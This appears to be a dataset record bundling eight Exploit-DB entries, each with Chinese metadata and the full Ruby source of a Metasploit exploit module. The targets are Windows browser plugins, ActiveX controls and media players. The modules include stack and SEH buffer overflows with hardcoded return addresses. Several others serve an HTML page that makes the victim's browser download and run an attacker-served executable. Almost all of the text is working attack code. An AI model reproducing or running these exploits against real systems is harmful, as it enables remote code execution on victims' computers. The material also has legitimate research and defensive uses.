QLWD/code_shield huggingface dataset:
标题: Orbit Downloader - Connecting Log Creation Buffer Overflow (Metasploit) EDB-ID: 16569 CVE: 2009-0187 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: orbit_connecting.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
    attacker serves up a malicious web site, abritrary code may be executed.
    The PAYLOAD windows/shell_bind_tcp works best.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-0187' ],
     [ 'OSVDB', '52294' ],
     [ 'BID', '33894' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 750,
     'BadChars'      => "\x00\x09\x0a\x0d'\\&",
     'StackAdjustment' => -3500,
     'PrependEncoder'  => "\x81\xc4\x54\xf2\xff\xff",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'DisableNops'  =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2',  { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6
    ],
   'DisclosureDate' => 'Feb 3 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname   = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"

  # Build out the message
  content = %Q|<html>
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
</script>
</html>
|

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16569
标题: AwingSoft Winds3D Player 3.5 - SceneURL Download and Execute (Metasploit) EDB-ID: 16570 CVE: 2009-4850 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: awingsoft_winds3d_sceneurl.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',
   'Description'    => %q{
     This module exploits an untrusted program execution vulnerability within the
    Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for
    IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'
    parameter to the URL to an executable, an attacker can execute arbitrary
    code.

    Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and
    IE 8 on Windows XP SP3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'jduck'  # original discovery & metasploit module
    ],
   'Version'        => '$Revision: 10389 $',
   'References'     =>
    [
     [ 'CVE', '2009-4850' ],
     [ 'OSVDB', '60049' ]
    ],
   'Payload'        =>
    {
     'Space'    => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Nov 14 2009',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

   # Handle the payload
   # handler(cli)
   return
  end

  # otherwise, send the html..
  html = %Q|<html>
<body>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
<param name="SceneURL" value="#{payload_url}#">
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">
</object>
|

  print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })

 end
end URL: https://www.exploit-db.com/exploits/16570
标题: XMPlay 3.3.0.4 - '.ASX' Filename Buffer Overflow (Metasploit) EDB-ID: 16556 CVE: 2006-6063 类型: LOCAL 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: xmplay_asx.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in XMPlay 3.3.0.4.
    The vulnerability is caused due to a boundary error within
    the parsing of playlists containing an overly long file name.
    This module uses the ASX file format.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-6063'],
     [ 'OSVDB', '30537'],
     [ 'BID', '21206'],
     [ 'URL', 'http://secunia.com/advisories/22999/' ],
    ],

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows 2000 Pro English SP4',  { 'Ret' => 0x77e14c29 } ],
     [ 'Windows XP Pro SP2 English',   { 'Ret' => 0x77dc15c0 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 21 2006',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  drv =  rand_text_alpha_upper(1)
  ext =  rand_text_alpha_upper(3)

  sploit =  rand_text_alpha_upper(498) + [ target.ret ].pack('V')
  sploit << make_nops(40) + payload.encoded

  # Build the stream format
  content =  "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"
  content << "<REF HREF=\"file://#{drv}:\\" + sploit
  content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16556
标题: Amaya Browser 11.0 - bdo tag Overflow (Metasploit) EDB-ID: 16548 CVE: 2009-0323 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: amaya_bdo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Amaya Browser v11.0 bdo tag overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Amaya v11 Browser.
     By sending an overly long string to the "bdo"
     tag, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'dookie, original exploit by Rob Carter' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-0323' ],
     [ 'OSVDB', '55721' ],
     [ 'BID', '33046, 33047' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 970,
     'BadChars'      => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Amaya Browser v11',     { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
    ],
   'DisclosureDate' => 'Jan 28 2009',
   'DefaultTarget'  => 0))
 end


 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Set the exploit buffer
  sploit = "<bdo dir=\""
  sploit += "\x41" * 6889
  sploit += "\x74\x06\x41\x41"
  sploit += [target.ret].pack('V')
  sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F
  sploit += "\x58"     # pop EAX
  sploit += "\x2d\x18\x69\x45\x7d"   # sub EAX, 7A7A0857
  sploit += "\x50"     # push EAX
  sploit += "\xc3"     # RETN
  sploit += make_nops(100)
  sploit += payload.encoded
  sploit += make_nops(970 - payload.encoded.length)
  sploit += "\">pwned!</bdo>"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, sploit)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16548
标题: Ask.com Toolbar - 'askBar.dll' ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16557 CVE: 2007-5107 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ask_shortformat.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
    An attacker may be able to excute arbitrary code by sending an overly
    long string to the "ShortFormat()" method in askbar.dll.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5107' ],
     [ 'OSVDB', '37735' ],
     [ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English ALL',       { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
    ],
   'DisclosureDate' => 'Sep 24 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  filler = rand_text_alpha(target['Offset'])
  seh = generate_seh_payload(target.ret)
  sploit = filler + seh + rand_text_alpha(payload.encoded.length)

  # Build out the message
  content = %Q|<html>
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.ShortFormat = #{strname}
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16557
标题: America Online ICQ - ActiveX Control Arbitrary File Download and Execute (Metasploit) EDB-ID: 16554 CVE: 2006-5650 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: aol_icq_downloadagent.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute',
   'Description'    => %q{
     This module allows remote attackers to download and execute arbitrary files
    on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2006-5650' ],
     [ 'OSVDB', '30220' ],
     [ 'BID', '20930'  ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-037/' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Nov 06 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/PAYLOAD"

  if (request.uri.match(/PAYLOAD/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha_upper(rand(5) + 1)

  content = %Q|
 <html>
  <head>
   <script>
    try {
     var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');
     #{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");
    } catch( e ) { window.location = 'about:blank' ; }
   </script>
  </head>
 </html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end
end URL: https://www.exploit-db.com/exploits/16554
标题: Microsoft Internet Explorer - isComponentInstalled Overflow (Metasploit) EDB-ID: 16549 CVE: 2006-1016 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ie_iscomponentinstalled.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Seh
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer isComponentInstalled Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Internet Explorer. This bug was
    patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm',
    ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-1016' ],
     [ 'OSVDB', '31647' ],
     [ 'BID', '16870' ],
    ],
   'Payload'        =>
    {
     'Space'          => 512,
     'BadChars'       => "\x00\x5c\x0a\x0d\x22",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' =>  0x71ab8e4a } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 24 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Create the overflow string
  pattern = rand_text_alpha(8192)

  # Smash the return address with a bogus pointer
  pattern[744, 4] = [0xffffffff].pack('V')

  # Handle the exception :-)
  seh = generate_seh_payload(target.ret)
  pattern[6439, seh.length] = seh


  # Build out the HTML response page
  var_client = rand_text_alpha(rand(30)+2)
  var_html   = rand_text_alpha(rand(30)+2)

  content = %Q|
<html>
<head>
 <script>
  function window.onload() {
   #{var_client}.style.behavior = "url(#default#clientCaps)";
   #{var_client}.isComponentInstalled( "__pattern__" ,  "componentid" );
  }
 </script>
</head>
<body id="#{var_client}">
#{var_html}
</body>
</html>
  |

  content = Rex::Text.randomize_space(content)

  # Insert the shellcode
  content.gsub!('__pattern__', pattern)

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16549
标题: Husdawg, LLC. System Requirements Lab - ActiveX Unsafe Method (Metasploit) EDB-ID: 16552 CVE: 2008-4385 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: systemrequirementslab_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method',
   'Description'    => %q{
     This module allows attackers to execute code via an unsafe method in
    Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2008-4385' ],
     [ 'OSVDB', '50122' ],
     [ 'US-CERT-VU', '166651' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 16 2008'))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)

  content = %Q|
   <html>
    <object classid='clsid:67A5F8DC-1A4B-4D66-9F24-A704AD929EEE' id='#{vname}'></object>
    <script language='JavaScript'>
     #{vname}.Init("#{payload_url}/#{exe}.exe", "#{vname}");
    </script>
   </html>
      |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16552